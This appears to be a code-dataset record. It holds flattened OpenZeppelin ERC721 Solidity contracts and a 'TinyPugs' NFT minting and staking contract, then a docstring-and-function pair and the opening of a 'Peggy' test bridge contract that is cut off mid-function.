* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overridden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || isApprovedForAll(owner, spender) || getApproved(tokenId) == spender);
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
_afterTokenTransfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
_afterTokenTransfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
_afterTokenTransfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: contracts/TinyPugs.sol
pragma solidity ^0.8.4;
/// @custom:security-contact https://discord.gg/poodles
contract TinyPugs is ERC721Enumerable, Pausable, Ownable {
using Strings for uint256;
bool public revealed;
bool public onlyWhitelisted;
string public baseExtension;
string public notRevealedURI;
string public baseURI;
uint256 public cost;
uint256 public maxMintableTokens;
uint256 public maxMintPerXn;
uint256 public maxMintPerAcct;
address public marketingFund;
address public staker;
address[] public whitelistedUsers;
/// @dev Initialize contract with known variables.
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI,
string memory _notRevealedURI,
string memory _baseExtension,
uint256 _maxMintableTokens,
uint256 _maxMintPerXn,
uint256 _maxMintPerAcct,
uint256 _cost
) ERC721(_name, _symbol) {
setBaseURI(_initBaseURI);
setNotRevealedURI(_notRevealedURI);
baseExtension = _baseExtension;
maxMintableTokens = _maxMintableTokens;
setMaxMintPerAcct(_maxMintPerAcct);
setMaxMintPerXn(_maxMintPerXn);
setCost(_cost);
setOnlyWhitelisted(true);
}
/// @dev Returns the length of whitelistedUsers.
function getWhitelistLength() public view returns (uint256) {
return whitelistedUsers.length;
}
/// @dev Set `baseURI` to `_newBaseURI`.
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
/// @dev Set `notRevealedURI` to `_notRevealedURI`.
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
notRevealedURI = _notRevealedURI;
}
/// @dev Set `maxMintPerXn` to `_newMaxMintPerXn`.
function setMaxMintPerXn(uint256 _newMaxMintPerXn) public onlyOwner {
require(_newMaxMintPerXn <= maxMintableTokens, 'TinyPugs: maxMintPerXn cannot be greater than maxMintableTokens.');
require(_newMaxMintPerXn <= maxMintPerAcct, 'TinyPugs: maxMintPerXn cannot be greater than maxMintPerAcct.');
maxMintPerXn = _newMaxMintPerXn;
}
/// @dev Set `maxMintPerAcct` to `_newMaxMintPerAcct`.
function setMaxMintPerAcct(uint256 _newMaxMintPerAcct) public onlyOwner {
require(_newMaxMintPerAcct >= maxMintPerXn, 'TinyPugs: maxMintPerAcct cannot be less than maxMintPerXn.');
require(_newMaxMintPerAcct <= maxMintableTokens, 'TinyPugs: maxMintPerAcct cannot be greater than maxMintableTokens.');
maxMintPerAcct = _newMaxMintPerAcct;
}
/// @dev Set `cost` to `_newCost`.
function setCost(uint256 _newCost) public onlyOwner {
cost = _newCost;
}
/// @dev Set `marketingFund` to `_newMarketingFund`.
function setMarketingFund(address _newMarketingFund) public onlyOwner {
require(_newMarketingFund != address(0), "TinyPugs: cannot assign the zero address.");
marketingFund = _newMarketingFund;
}
/// @dev Set `onlyWhitelisted` to `_newBool`.
function setOnlyWhitelisted(bool _newBool) public onlyOwner {
onlyWhitelisted = _newBool;
}
/// @dev Set `whitelistedUsers` to `_newWhitelistedUsers`.
/// Assumes `_newWhitelistedUsers` is not too long to allow all users to mint.
/// Assumes no duplicate values within `_newWhitelistedUsers`.
function setWhitelist(address[] calldata _newWhitelistedUsers) external onlyOwner {
whitelistedUsers = _newWhitelistedUsers;
}
/// @dev Set `staker` to `_newStaker`.
function setStaker(address _newStaker) public onlyOwner {
require(_newStaker != address(0), "TinyPugs: cannot assign the zero address.");
staker = _newStaker;
}
/// @dev Push a value onto `whitelistedUsers`.
function pushWhitelist(address _newUser) external onlyOwner {
require(_newUser != address(0), "TinyPugs: cannot whitelist the zero address.");
require(!isWhitelistedUser(_newUser), "TinyPugs: cannot redundantly whitelist a user.");
whitelistedUsers.push(_newUser);
}
/// @dev Set `revealed` state to true.
function reveal() public onlyOwner {
revealed = true;
}
/// @dev Set `_paused` state to true.
function pause() public onlyOwner {
_pause();
}
/// @dev Set `_paused` state to false.
function unpause() public onlyOwner {
_unpause();
}
/// @dev See {IERC721Metadata-tokenURI}.
/// Overridden to provide `revealed` mechanism and `baseExtension` concatenation.
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
if (!revealed) {
return notRevealedURI;
}
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension))
: "";
}
/// @dev Mint `_mintAmount` tokens for `cost` per token, if permitted.
function safeMint(uint256 _mintAmount) public payable {
uint256 mintedSupply = totalSupply();
require(_mintAmount > 0, "TinyPugs: cannot mint non-positive amount.");
require(mintedSupply + _mintAmount <= maxMintableTokens, "TinyPugs: cannot mint more tokens than available.");
if (_msgSender() != owner()) {
if (onlyWhitelisted) {
require(isWhitelistedUser(_msgSender()), "TinyPugs: cannot permit mint from non-whitelisted address.");
}
require(_mintAmount <= maxMintPerXn, "TinyPugs: cannot mint more than maxMintPerXn in a transaction.");
require(balanceOf(_msgSender()) + _mintAmount <= maxMintPerAcct, "TinyPugs: cannot mint more than maxMintPerAcct per owner address.");
require(msg.value >= cost * _mintAmount, "TinyPugs: not enough wei provided as payment.");
}
for (uint256 i = 1; i <= _mintAmount; i++) {
_safeMint(_msgSender(), mintedSupply + i);
}
}
/// @dev Stake provided tokenId for PPLNT.
/// Assumes staker has been assigned.
function stake(uint256 _tokenId) public {
address owner = ownerOf(_tokenId);
require(_msgSender() == owner, "TinyPugs: cannot stake token that isn't owned by sender.");
approve(staker, _tokenId);
INftStaker(staker).stake(_tokenId, owner);
}
/// @dev Unstake provided tokenId.
/// msg.sender to this function must be the address that staked _tokenId, the original owner.
/// Assumes staker has been assigned.
function unstake(uint256 _tokenId) public {
address owner = ownerOf(_tokenId);
require(staker == owner, "TinyPugs: cannot unstake token that isn't owned by staker.");
INftStaker(staker).unstake(_tokenId, _msgSender());
}
/// @dev Withdraw 100% of funds in this contract into the marketingFund.
function withdraw() public payable onlyOwner {
require(marketingFund != address(0), "TinyPugs: marketingFund not initialized.");
(bool success, ) = payable(marketingFund).call{value: address(this).balance}("");
require(success);
}
/// @dev Search for a match within whitelistedUsers array and return a bool
/// indicating if the address was found.
function isWhitelistedUser(address _candidate) internal view returns (bool) {
for (uint256 i; i < whitelistedUsers.length; i++) {
if (_candidate == whitelistedUsers[i]) {
return true;
}
}
return false;
}
/// @dev See {ERC721-_baseURI}.
/// Overridden to leverage `baseURI` in storage.
function _baseURI() internal view override returns (string memory) {
return baseURI;
}
/// @dev See {ERC721-_beforeTokenTransfer}.
/// Overridden to apply modifier, whenNotPaused.
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal whenNotPaused override {
super._beforeTokenTransfer(from, to, tokenId);
}
/// @dev See {IERC165-supportsInterface}.
function supportsInterface(bytes4 interfaceId) public view override returns (bool) {
return super.supportsInterface(interfaceId);
}
}
|
Set `staker` to `_newStaker`.
|
function setStaker(address _newStaker) public onlyOwner {
require(_newStaker != address(0), "TinyPugs: cannot assign the zero address.");
staker = _newStaker;
}
| 13,520,752 |
pragma solidity ^0.5.0;
import "./Processor.sol";
/*
* @title: Peggy
* @dev: Peg zone contract for testing one-way transfers from Ethereum
* to Cosmos, facilitated by a trusted relayer. This contract is
* NOT intended to be used in production and users are empowered
* to withdraw their locked funds at any time.
*/
contract Peggy is Processor {
bool public active;
address public relayer;
mapping(bytes32 => bool) public ids;
event LogLock(
bytes32 _id,
address _from,
bytes _to,
address _token,
uint256 _value,
uint256 _nonce
);
event LogUnlock(
bytes32 _id,
address _to,
address _token,
uint256 _value,
uint256 _nonce
);
event LogWithdraw(
bytes32 _id,
address _to,
address _token,
uint256 _value,
uint256 _nonce
);
event LogLockingPaused(
uint256 _time
);
event LogLockingActivated(
uint256 _time
);
/*
* @dev: Modifier to restrict access to the relayer.
*
*/
modifier onlyRelayer()
{
require(
msg.sender == relayer,
'Must be the specified relayer.'
);
_;
}
/*
* @dev: Modifier which restricts lock functionality when paused.
*
*/
modifier whileActive()
{
require(
active == true,
'Lock functionality is currently paused.'
);
_;
}
/*
* @dev: Constructor, initalizes relayer and active status.
*
*/
constructor()
public
{
relayer = msg.sender;
active = true;
emit LogLockingActivated(now);
}
/*
* @dev: Locks received funds and creates new items.
*
* @param _recipient: bytes representation of destination address.
* @param _token: token address in origin chain (0x0 if ethereum)
* @param _amount: value of item
*/
function lock(
bytes memory _recipient,
address _token,
uint256 _amount
)
public
payable
availableNonce()
whileActive()
returns(bytes32 _id)
{
//Actions based on token address type
if (msg.value != 0) {
require(_token == address(0));
